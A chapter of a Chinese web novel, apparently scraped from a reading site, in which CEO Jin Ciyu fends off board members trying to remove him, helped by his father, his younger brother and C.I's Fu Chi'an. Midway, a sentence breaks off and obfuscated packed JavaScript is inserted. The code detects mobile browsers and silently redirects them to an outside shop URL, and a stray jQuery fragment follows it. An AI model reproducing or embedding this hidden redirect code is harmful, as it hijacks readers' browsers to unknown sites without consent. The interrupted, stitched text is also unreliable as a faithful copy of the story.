会议结束,已是凌晨。

    靳辞钰靠在会议室的椅背上,待人走完,才缓缓起身,扶着墙,往办公室走去。

    一进门,靳辞钰便泄了气,整个人摔在沙发上。

    他的低血糖又犯了。

    以往这种时候,蒋寻会为他递上一杯温水并给他拿点吃的。

    今天蒋寻不在,靳辞钰也懒得去茶水间的饮水机接热水或自己用办公室的茶壶烧一壶,反正茶几上还剩半壶冷水。

    靳辞钰为自己倒了杯冷水,又从抽屉里翻出一袋面包,慢吞吞啃着。

    他抬头,瞥了眼挂在墙上的钟。时针正向着数字三缓慢挪动。

    许是今天各种各样的事情耗尽了靳辞钰的精力,他的眼皮逐渐变得沉重,待时针恰好与秒钟重合,靳辞钰再也扛不住,闭上了眼睛。

    ...

    清晨,秘书急急忙忙跑进总裁办公室,“靳总,不好了,董事会的人来了...”

    秘书的话猛然顿住。

    看着在沙发上蜷成一团的人,秘书犯了难,不知到该不该把靳辞钰叫醒。

    犹豫之际,沙发上的人已然睁开了眼。

    朦胧的眼神瞬间变得清明,甚至一闪而过几分戒备。

    但看清来人,靳辞钰眼底的警惕褪去不少。

    他缓缓从沙发上坐起,张了张唇,几声咳嗽却比想说的话更先溢出唇间。

    喉间发干,靳辞钰端起凌晨倒的水,猛得灌了一口。

    “你让那些董事...先去...咳,先去会议室等我。”靳辞钰断断续续吐出一句话。

    秘书见他这样有些担心,“靳总,要不要叫个医生?”

    “不用。”靳辞钰冲秘书摆了摆手,“你先去忙工作,我十分钟后到会议室。”

    ...

    秘书离开后,靳辞钰拿出蒋寻昨晚蒋寻给他的药盒,往手心里倒了几颗,一股脑地塞进嘴里。

    冷水喝多了,靳辞钰胃里难免有些犯恶心。

    以防等会和那些董事周旋的时候出什么意外,靳辞钰干脆又吃了几粒胃药。

    靳辞钰缓了会,起身去休息室。他站在洗手台前,望着镜子里的自己:眼下乌青,衬衫凌乱,整个人看上去格外疲惫。

    他深吸一口气,对着镜子调整好自己的状态,又换了身衣服,才出发去会议室。

    ...

    会议室里的几个董事,早等候靳辞钰多时。

    靳辞钰刚推开会议室的门,几道打量的目光便朝他投来。

    “靳总好大架子啊,让我们这些董事等这么久。”

    靳辞钰忽视他们的视线,径直走到主位坐下。

    “靳氏的上班时间是八点。”靳辞钰看了眼表,视线悠悠扫过办公室里的几位董事,“而现在是七点半。”

    言外之意:几位没必要这么早来公司闹事。

    听出靳辞钰话里的嘲讽,几位董事脸色不大好。

    坐在靳辞钰身侧的孙董冷哼一声,率先发难:“芯微毁约这么大的事情,如果我们不来公司,靳总打算瞒我们到什么时候?”

    靳辞钰:“芯微毁约转头和郁氏合作的事情我昨晚才知道。刚好又是周末,我想几位董事估计私生活也比较忙,不忍打扰,打算周一再通知各位开会。”

    靳辞钰这话是笑着说的,却将“私生活”三字咬得极重。

    孙董闻言,脸色铁青。几天前他儿子才□□被抓,他现在还忙着捞人,靳辞钰此刻提及“私生活”明显就是故意搓他心心窝子。

    偏偏靳辞钰说得隐晦,孙董还不好发作。

    最后是王董接的话:“靳总,董事会什么时候开不重要,我们几个董事,真正关心的是靳总打算如何解决芯微毁约的事情。”

    王董是个笑面虎,说话的语气听着亲切,说的话却格外咄咄逼人。

    “靳总啊,要你真的想不出什么解决方案,也不要为难自己,大不了退位让贤。”

    靳辞钰早知他们来的目的,对此并不诧异。

    他懒洋洋往后背上一靠,撑着下巴,抬眸直视王董,反问:“所以呢?王董是有合适的人选?”

    灰褐色的眸子里带着几分审视,王董被靳辞钰盯得莫名发慌,不由愣了几秒。

    也就是这几秒愣神,靳辞钰没再给他回答的机会。

    “芯微毁约的事情我会处理。最多七天,我一定给各位满意的答复。”靳辞钰视线一一扫过会议室里的董事,“如果我做不到,到时候自会把靳氏总裁的位置让出来。”

    “各位可有异议?”

    众董事闻言,眉头不由皱起。他们故意在大清早来找靳辞钰发难,就是想趁其不备将他从总裁的位置拽下来。

    按他们计划,今早董事会结束,靳辞钰就该着手准备和新总裁交接的事。

    但现在靳辞钰直接下了军令状,董事们也不好再提投票表决决定靳辞钰是否继续担任总裁的事。只能七天后再来与靳辞钰掰扯。

    因一时失神让靳辞钰多了七天的缓冲期,王董脸上的笑也挂不住了。

    他冷声道:“这话是靳总你自己说的。若七天后没有一个完美的解决方案,你可要说话算话,自己让出总裁的位置。”

    “那是自然..”

    “听说有人在打靳氏总裁位置的主意?”

    两道声音同时响起。靳辞钰话音一顿,朝会议室门口看去,只见一位约摸五六十岁的男人推门而入。

    看清男人的脸,靳辞钰心底一沉。

    来人是他的父亲,靳伟东。

    虽说靳辞钰很不想见到靳伟东,但对方毕竟是自己的父亲,靳辞钰还是打算起身给他让座。

    谁料靳辞钰肩膀上忽然搭上了一只手,将他按回了主位。

    靳伟东拍了拍靳辞钰的肩,侧头冲他笑了笑,道:“安心坐着。”

    靳伟东的声音不大,却刚好能让会议室里的每个股东听到,像一种委婉的警告。

    靳辞钰摸不清自己这许久未见的父亲想做什么。他脑袋有些发昏,既然靳伟东让他坐着,靳辞钰干脆直接靠回椅背,休息一会,顺便看看靳伟东葫芦里卖的是什么药。

    见靳辞钰没再起来的打算,靳伟东松了口气,才将注意力放到屋里的几位董事身上。

    “老王啊。”靳伟东悠悠出声,“听说靳氏总裁这个位置,你已经有新人选了?”

    王董眉心一跳,扯出抹笑:“老靳,我们也是为靳氏考虑。总裁这个位置,还是该有能力的人来当。”

    靳伟东眯了眯眼,“你是说我儿子能力不行?”

    “砰——”

    王董还未说话,会议室的门便被人踹开。

    靳予安背着书包站在门口,“谁说我哥能力不行?!”

    “我哥名牌大学毕业,毕业后立马接管靳氏,上任五年,集团的市值直接翻了一倍。五年来,几乎零项目亏损,去年我哥力排众议推出的星河系列手机为集团带了来了多少利润?”

    靳予安在公寓等了靳辞钰一晚上也没等到靳辞钰回家,本就心情不好。哪怕会议室里坐的多是自己长辈,他还是照喷不误:“倒是你们,拿着靠我哥赚来的分红吃喝玩乐,怎么好意思到公司对我哥指手画脚?”

    被小辈怼了,几位董事面色不虞。孙董冷笑,“老靳,你就是这么管儿子的?在长辈面前就这般没礼貌。”

    靳伟东:“是么?我儿子说话声音大些了,却句句属实,不像孙董儿子,都进局子了,嘴里还吐不出几句实话。”

    靳辞钰听着自家弟弟和父亲为自己说话,忽有些恍惚,竟生出一种在做梦的错觉。

    他下意识朝两人的方向看去。察觉到他的视线,原先气势汹汹的两人默契地冲他一笑。

    这幕着实有些魔幻,靳辞钰默默收回了视线。

    孙董接连被嘲讽两次,又瞧见这一家三口“温

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735516|209042||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    馨”的互动,气不打一处来。

    他不明白,为什么一向讨厌二儿子的靳伟东为什么会特意跑到公司为靳辞钰撑腰。

    “老靳,你儿子可是自己和我们这些董事下了军令状。”孙董秉持着他不好过大家都别想好过的原则,决心呛靳伟东两句,“七天之内,他没把芯微的事情处理好,他就退位让贤。”

    “所以老靳,你出面也没用。只要芯微毁约的事情处理不好,靳氏总裁的位置就得换人。 ”孙董盯着靳伟东,“除非,他靳辞钰要违约。”

    “我不会违约。”

    一直保持沉默的靳辞钰出声:“七天,七天后在这个会议室,我会给你们满意的处理方案。”

    孙董:“呵,谁知道你是不是缓兵之计..”

    “咚!咚!”

    清脆的敲门声打断了孙董的话。

    下一秒,办公室的门再度被人推开。傅迟安站在门口,手里抱着份文件。

    对上靳辞钰的视线,傅迟安笑了笑,道:“靳总,我来签合同。”

    靳辞钰看向傅迟安身后的秘书。后者摊了摊手,表示自己没拦住。

    毕竟是自己和秘书说今早会有C.I的人过来对接,要好好招待,有什么要求尽量满足对方。

    现在傅迟安跑到这间会议室,也不能怪秘书。

    “劳烦傅总亲自跑一趟了。”靳辞钰不想将傅迟安牵扯进靳氏集团的破事,便对他道,“傅总先去我办公室坐会,等我开完会,再去找傅总。”

    会议室里的人哪能那么轻易地让傅迟安走。

    “靳总又签了什么项目,不如和我们这些董事说说?”

    傅迟安早就等着他们问这句话。

    他故作诧异地抢在靳辞钰前面开口:“靳总没和你们说?靳氏将和C.I合作。”

    “C.I将代替芯微,为靳氏设计新一代SOC定制芯片。”傅迟安特意补充。

    闻言,几位董事神色僵了一瞬。

    靳辞钰早就将芯微毁约的事情处理好了,却还和他们下军令状,分明是耍他们。

    靳辞钰对上他们审视的目光,神色平静,“几位董事,这个处理方案,可还满意?”

    他顿了顿,又问:“还是说,你们物色的新总裁有更好的解决方案?”

    杀人诛心。

    几位董事脸色难看得像吃了苍蝇。

    他们物色的新总裁,提出的解决方案也是找C.I合作。并且,他说C.I同意合作的可能性也就十分之一,让他们不要抱太大希望。

    结果靳辞钰仅用了一个晚上,就让C.I总裁亲自来签合同。

    几位董事不愿再留在这间会议室里“受辱”,纷纷离去。

    会议室很快就剩下靳辞钰,傅迟安,靳予安,靳伟东四人。

    三道目光齐刷刷黏在自己身上,靳辞钰不由觉得有些别扭。

    他揉了揉太阳穴,先看向靳予安:“父亲来了,你刚好搭他的车回老宅。”

    太久没见靳伟东,靳辞钰不知和他说什么,干脆越过他,直接对傅迟安说:“傅总,我们去我办公室谈谈具体事宜?”

    比起和自己这两位亲人相处,靳辞钰更愿意和傅迟安待在一块。毕竟他和傅迟安能聊聊工作上的事,而面对靳予安和靳伟东,靳辞钰却根本不知道说什么。

    “好。”傅迟安应下,却没直接离开,摆明了要等靳辞钰一起过去。

    靳辞钰无奈,只得撑着扶手起身。

    谁料起身的瞬间,靳辞钰腹部传来一阵剧痛,他眼前发黑,瞬间昏了过去。

    “哥——”

    “辞钰!”

    在两声惊呼中,傅迟安稳稳接住失去意识的靳辞钰。

    见靳辞钰眉头紧拧,额间还覆着一层虚汗,傅迟安毫不犹豫将人打横抱起,朝外跑去。

    “给蒋悦打电话。”

    傅迟安吩咐跟在他身后的靳予安。